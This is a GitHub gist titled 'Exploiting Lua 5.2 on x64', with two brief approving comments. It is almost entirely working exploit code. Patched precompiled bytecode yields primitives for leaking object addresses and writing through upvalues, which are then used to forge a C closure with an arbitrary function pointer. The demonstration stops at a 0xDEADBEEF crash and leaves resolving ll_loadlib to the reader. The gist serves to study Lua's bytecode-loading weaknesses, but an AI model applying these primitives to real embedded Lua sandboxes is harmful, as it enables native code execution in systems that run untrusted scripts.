Skip to content

Instantly share code, notes, and snippets.

@corsix
Last active March 30, 2023 20:13
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Embed
What would you like to do?
Exploiting Lua 5.2 on x64
-- double as_num(GCobj* x) { return reinterpret_cast<double>(x); }
local as_num = string.dump(function(...) for n = ..., ..., 0 do return n end end)
as_num = as_num:gsub("\x21", "\x17", 1) -- OP_FORPREP -> OP_JMP
as_num = assert(load(as_num))
-- uint64_t addr_of(GCobj* x) { return reinterpret_cast<uint64_t>(x); }
local function addr_of(x) return as_num(x) * 2^1000 * 2^74 end
-- std::string ub8(uint64_t n) { return std::string(reinterpret_cast<char*>(&n), 8); }
local function ub8(n)
local t = {}
for i = 1, 8 do
local b = n % 256
t[i] = string.char(b)
n = (n - b) / 256
end
return table.concat(t)
end
-- void upval_assign(double func, TValue x) { reinterpret_cast<LClosure*>(func)->upvals[0]->v[0] = x; }
local upval_assign = string.dump(function(...)
local magic
(function(func, x)
(function(func)
magic = func
end)(func)
magic = x
end)(...)
end)
upval_assign = upval_assign:gsub("(magic\x00\x01\x00\x00\x00\x01)\x00", "%1\x01", 1)
upval_assign = assert(load(upval_assign))
-- CClosure* make_CClosure(lua_CFunction f, TValue up) { CClosure* co = eval("coroutine.wrap(function()end)"); co->f = f; co->upvalue[0] = up; return co; }
local function make_CClosure(f, up)
local co = coroutine.wrap(function()end)
local offsetof_CClosure_f = 24
local offsetof_CClosure_upvalue0 = 32
local sizeof_TString = 24
local offsetof_UpVal_v = 16
local offsetof_Proto_k = 16
local offsetof_LClosure_proto = 24
local upval1 = ub8(addr_of(co) + offsetof_CClosure_f)
local func1 = ub8(addr_of("\x00\x00\x00\x00\x00\x00\x00\x00") - offsetof_Proto_k) .. ub8(addr_of(upval1) + sizeof_TString - offsetof_UpVal_v)
local upval2 = ub8(addr_of(co) + offsetof_CClosure_upvalue0)
local func2 = func1:sub(1, 8) .. ub8(addr_of(upval2) + sizeof_TString - offsetof_UpVal_v)
upval_assign((addr_of(func1) + sizeof_TString - offsetof_LClosure_proto) * 2^-1000 * 2^-74, f * 2^-1000 * 2^-74)
upval_assign((addr_of(func2) + sizeof_TString - offsetof_LClosure_proto) * 2^-1000 * 2^-74, up)
return co
end
local ll_loadlib = make_CClosure(0xDEADBEEF) -- Obtaining the address of ll_loadlib is left as an exercise to the reader.
ll_loadlib() -- Should crash at ldo.c's `n = (*f)(L); /* do the actual call */`, with f==0xDEADBEEF
@numinit
Copy link

numinit commented Sep 12, 2016

Oh, that's very clever.

@corsix
Copy link
Author

corsix commented Sep 14, 2016

I'm glad that someone can appreciate the tricks being played.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment